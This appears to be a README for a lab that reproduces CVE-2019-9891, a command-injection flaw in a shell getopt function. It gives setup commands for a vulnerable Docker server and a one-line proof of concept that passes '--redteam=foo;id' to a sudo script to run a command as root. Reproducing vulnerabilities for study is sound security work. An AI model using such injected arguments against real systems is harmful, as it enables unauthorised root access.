CVE-2019-9891

CVE-2019-9891

About

• https://nvd.nist.gov/vuln/detail/CVE-2019-9891

PoC / Exploit

• https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-007/-code-execution-via-insecure-shell-function-getopt-simple

Environment used

• Ubuntu 18.04.4 LTS

Reproduction

• Server

  • Docker version

    docker run --rm -p8022:22 -it simaofsilva/cve-2019-9891

  • Script version

    sudo bash Script_version/installation.sh

• Client

  bash login.sh

  After login run sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id' and you'll see the result of id command as root.